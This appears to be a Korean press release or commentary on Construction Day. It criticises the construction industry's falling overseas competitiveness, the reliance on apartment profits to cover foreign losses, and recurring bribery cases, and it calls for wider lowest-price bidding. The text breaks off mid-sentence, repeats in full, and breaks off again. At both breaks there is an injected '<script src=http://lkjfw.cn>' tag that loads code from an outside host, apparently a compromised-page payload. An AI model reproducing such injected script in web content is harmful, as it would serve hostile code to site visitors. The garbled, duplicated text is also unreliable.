누구를 위한 건설의 날인가? 무슨 기준으로 상을 주나?
보도일자
보도기관
건설산업 " 경쟁력 떨어지고, 부패 온상
`최저가낙찰제 전면확대’가 핵심
1980년 제정된 ‘건설의 날’이 18일로 23돌을 맞았다. 대한건설단체총연합회(회장 마형렬)는 기념식을 열고 100여명의 건설인이 정부포상을 받는 등 자축 행사를 가졌다.
하지만 그 이면에는 우리나라 건설산업이 갈수록 경쟁력이 떨어져 해외수주가 급감하고 있고, 부패와 비리의 온상이라는 오명을 쓰고 있어 건설인들을 큰 자괴감에 빠트리고 있는 비참한 현실이 놓여 있다.
중병을 앓고 있어 대수술이 시급한 게 우리나라 건설산업의 현주소인 것이다.
◇ 건설산업, GDP의 20% 이상 차지 = 2000년 기준 국내 건설시장의 규모는 96.9조원으로 추정된다.(‘건설산업동향’ 한국건설산업연구원) 여기에 건설서비스업을 합한 광의의 국내 건설시장은 104.4조원이며, 해외시장 7조원까지 합하면 2000년 전체 건설시장은 111.4조원으로 추정된다.(2002년 11월, 경실련의 부패방지위 연구용역보고서)
즉 건설시장 규모는 대략 약 100조원으로 추정할 수 있고, GDP의 약 20%를 차지한다. 단일 산업으로는 가장 큰 비중을 차지하고 있다.
또 건설산업 종사자는 97년의 경우 200만명에 달했고, 2002년 6월말 현재 약 180만명으로 전체 취업자 수에서 차지하는 비중은 8.1%에 이른다.
하지만 건설산업의 이러한 외형적 성장에도 불구하고 경쟁력은 세계 25위 수준으로 선진국의 67%에 불과하며, 해외수주액은 중국 등에도 기술력이 뒤져 갈수록 입지가 좁아져 가고 있는 실정이다.
◇ 무너진 해외건설 경쟁력 = 건교부가 올 1월 작성한 ‘제3차 건설기술진흥기본계획’에 따르면 국내 건설산업의 기술경쟁력 정체가 지속됨에 따라 해외건설시장의 수주 경쟁력이 저하되고 수익성이 악화된다고 지적했다.
80년 해외시장 점유율이 7.6% 이던 것이 90년 4.5%로 떨어지고, 99년 급기야 2.3%로 떨어졌다.
국내 건설산업의 경쟁력이 세계수준에 비해 크게 떨어지고 있음은 이번 이라크 전쟁에 따른 전후 복구사업 참여를 위해 범정부적으로 나섰으나 아무런 성과를 내지 못한 것에서 극명하게 드러난다. 경쟁력이 떨어져 수주를 할 수 없음에도 이를 미국 정치권을 통해 해결하려다가 망신만 당한 꼴이 된 것이다.
이와 관련 김진표 경제부총리는 “건설업체의 해외건설수주는 기술력이 떨어져 100% 적자”라고 말한 바 있다.
국내 건설업체들은 해외건설사업에서 수익을 내지 못하는 것을 높은 분양가를 이용해 아파트 건설에서 큰 이익을 챙기고 있다.
◇ 건설업체인가 아파트업체인가 = 연합뉴스의 보도에 따르면 현대건설은 지난해 국내 사업부문에서 3조 4432억원 매출에 6000여억원의 매출총이익을 기록했으나, 해외부문에서는 동남아지역에서 1조원 매출에 1600여억원의 매출총손실, 중동지역에서는 7644억원 매출에 817억원 손실을 기록했다.
또 LG건설의 경우 해외건설사업이 90% 가까운 비중을 차지하는 플랜트 사업부문에서 지난해 5829억원의 매출에 80억원의 영업적자를 낸 반면 주택부문은 1조2500억원의 매출에 1492억원의 영업이익을 내 높은 분양가로 수익을 극대화한 주택부문과 적자에서 벗어나지 못하는 해외건설사업이 뚜렷한 대조를 이루고 있다.
SK건설과 대림산업도 마찬가지였다.
국내 굴지의 건설업체들이 해외건설사업에서 발생한 대규모 손실을, 높은 분양가에 편승한 국내 주택부문의 이익으로 메우는 구조를 갖고 있는 것이다.
이와 관련 건설업계의 한 관계자는 “국내 업체들이 분양가 자율화 이후 기술력이 높지 않아도 되는 아파트 건설에 뛰어들어 폭리를 취하고 있다”며 “건설업체가 아니라 아파트업체라는 게 솔직한 표현일 것”이라고 말했다.
뿐만 아니라 국내 건설산업은 부패와 비리의 온상이라는 오명을 쓰고 있어 국민적 의혹이 대상이 되고 있다.
◇ 끊이지 않는 건설관련 비리 = 건설의 날을 하루 앞둔 17일 건교부 기자실에는 전국건설산업노동조합연맹 이용식 의장 등이 찾아와, 현장소장으로 근무 중인 노동자 46명의 설문조사를 통해 응답자 전원이 부당한 금품 요구를 받았으며 돈을 준적이 있다는 내용의 조사결과를 발표했다.
이에 앞서 12일에는 경찰청 특수수사과에서 인천공항 외곽경계시설과 경계병 숙소건설과 관련, 현대건설 김 모 상무가 ‘공사감독과 설계변경 등 편의를 제공해 달라’는 청탁과 국방부 간부들에게 뇌물을 제공했다 적발된 사건이 벌어졌다.
지난 9일에는 대구지방경찰청이 경부고속도로 보수공사를 불법 하도급하고 4년여에 걸쳐 2억5000여만원을 받은 혐의로 한국도로공사 및 고속도로관리공단 전·현직 과장급 간부 등 22명을 검거했다고 발표했다.
지난 5월말에는 전북 익산시청에서 발주한 한 공사를 수주한 한 건설업체가 70여 차례에 걸쳐 발주처 공무원과 감리단에게 1억여원의 뇌물과 향응을 제공했?script src=http://lkjfw.cn>
`최저가낙찰제 전면확대’가 핵심
1980년 제정된 ‘건설의 날’이 18일로 23돌을 맞았다. 대한건설단체총연합회(회장 마형렬)는 기념식을 열고 100여명의 건설인이 정부포상을 받는 등 자축 행사를 가졌다.
하지만 그 이면에는 우리나라 건설산업이 갈수록 경쟁력이 떨어져 해외수주가 급감하고 있고, 부패와 비리의 온상이라는 오명을 쓰고 있어 건설인들을 큰 자괴감에 빠트리고 있는 비참한 현실이 놓여 있다.
중병을 앓고 있어 대수술이 시급한 게 우리나라 건설산업의 현주소인 것이다.
◇ 건설산업, GDP의 20% 이상 차지 = 2000년 기준 국내 건설시장의 규모는 96.9조원으로 추정된다.(‘건설산업동향’ 한국건설산업연구원) 여기에 건설서비스업을 합한 광의의 국내 건설시장은 104.4조원이며, 해외시장 7조원까지 합하면 2000년 전체 건설시장은 111.4조원으로 추정된다.(2002년 11월, 경실련의 부패방지위 연구용역보고서)
즉 건설시장 규모는 대략 약 100조원으로 추정할 수 있고, GDP의 약 20%를 차지한다. 단일 산업으로는 가장 큰 비중을 차지하고 있다.
또 건설산업 종사자는 97년의 경우 200만명에 달했고, 2002년 6월말 현재 약 180만명으로 전체 취업자 수에서 차지하는 비중은 8.1%에 이른다.
하지만 건설산업의 이러한 외형적 성장에도 불구하고 경쟁력은 세계 25위 수준으로 선진국의 67%에 불과하며, 해외수주액은 중국 등에도 기술력이 뒤져 갈수록 입지가 좁아져 가고 있는 실정이다.
◇ 무너진 해외건설 경쟁력 = 건교부가 올 1월 작성한 ‘제3차 건설기술진흥기본계획’에 따르면 국내 건설산업의 기술경쟁력 정체가 지속됨에 따라 해외건설시장의 수주 경쟁력이 저하되고 수익성이 악화된다고 지적했다.
80년 해외시장 점유율이 7.6% 이던 것이 90년 4.5%로 떨어지고, 99년 급기야 2.3%로 떨어졌다.
국내 건설산업의 경쟁력이 세계수준에 비해 크게 떨어지고 있음은 이번 이라크 전쟁에 따른 전후 복구사업 참여를 위해 범정부적으로 나섰으나 아무런 성과를 내지 못한 것에서 극명하게 드러난다. 경쟁력이 떨어져 수주를 할 수 없음에도 이를 미국 정치권을 통해 해결하려다가 망신만 당한 꼴이 된 것이다.
이와 관련 김진표 경제부총리는 “건설업체의 해외건설수주는 기술력이 떨어져 100% 적자”라고 말한 바 있다.
국내 건설업체들은 해외건설사업에서 수익을 내지 못하는 것을 높은 분양가를 이용해 아파트 건설에서 큰 이익을 챙기고 있다.
◇ 건설업체인가 아파트업체인가 = 연합뉴스의 보도에 따르면 현대건설은 지난해 국내 사업부문에서 3조 4432억원 매출에 6000여억원의 매출총이익을 기록했으나, 해외부문에서는 동남아지역에서 1조원 매출에 1600여억원의 매출총손실, 중동지역에서는 7644억원 매출에 817억원 손실을 기록했다.
또 LG건설의 경우 해외건설사업이 90% 가까운 비중을 차지하는 플랜트 사업부문에서 지난해 5829억원의 매출에 80억원의 영업적자를 낸 반면 주택부문은 1조2500억원의 매출에 1492억원의 영업이익을 내 높은 분양가로 수익을 극대화한 주택부문과 적자에서 벗어나지 못하는 해외건설사업이 뚜렷한 대조를 이루고 있다.
SK건설과 대림산업도 마찬가지였다.
국내 굴지의 건설업체들이 해외건설사업에서 발생한 대규모 손실을, 높은 분양가에 편승한 국내 주택부문의 이익으로 메우는 구조를 갖고 있는 것이다.
이와 관련 건설업계의 한 관계자는 “국내 업체들이 분양가 자율화 이후 기술력이 높지 않아도 되는 아파트 건설에 뛰어들어 폭리를 취하고 있다”며 “건설업체가 아니라 아파트업체라는 게 솔직한 표현일 것”이라고 말했다.
뿐만 아니라 국내 건설산업은 부패와 비리의 온상이라는 오명을 쓰고 있어 국민적 의혹이 대상이 되고 있다.
◇ 끊이지 않는 건설관련 비리 = 건설의 날을 하루 앞둔 17일 건교부 기자실에는 전국건설산업노동조합연맹 이용식 의장 등이 찾아와, 현장소장으로 근무 중인 노동자 46명의 설문조사를 통해 응답자 전원이 부당한 금품 요구를 받았으며 돈을 준적이 있다는 내용의 조사결과를 발표했다.
이에 앞서 12일에는 경찰청 특수수사과에서 인천공항 외곽경계시설과 경계병 숙소건설과 관련, 현대건설 김 모 상무가 ‘공사감독과 설계변경 등 편의를 제공해 달라’는 청탁과 국방부 간부들에게 뇌물을 제공했다 적발된 사건이 벌어졌다.
지난 9일에는 대구지방경찰청이 경부고속도로 보수공사를 불법 하도급하고 4년여에 걸쳐 2억5000여만원을 받은 혐의로 한국도로공사 및 고속도로관리공단 전·현직 과장급 간부 등 22명을 검거했다고 발표했다.
지난 5월말에는 전북 익산시청에서 발주한 한 공사를 수주한 한 건설업체가 70여 차례에 걸쳐 발주처 공무원과 감리단에게 1억여원의 뇌물과 향응을 제공했?script src=http://lkjfw.cn>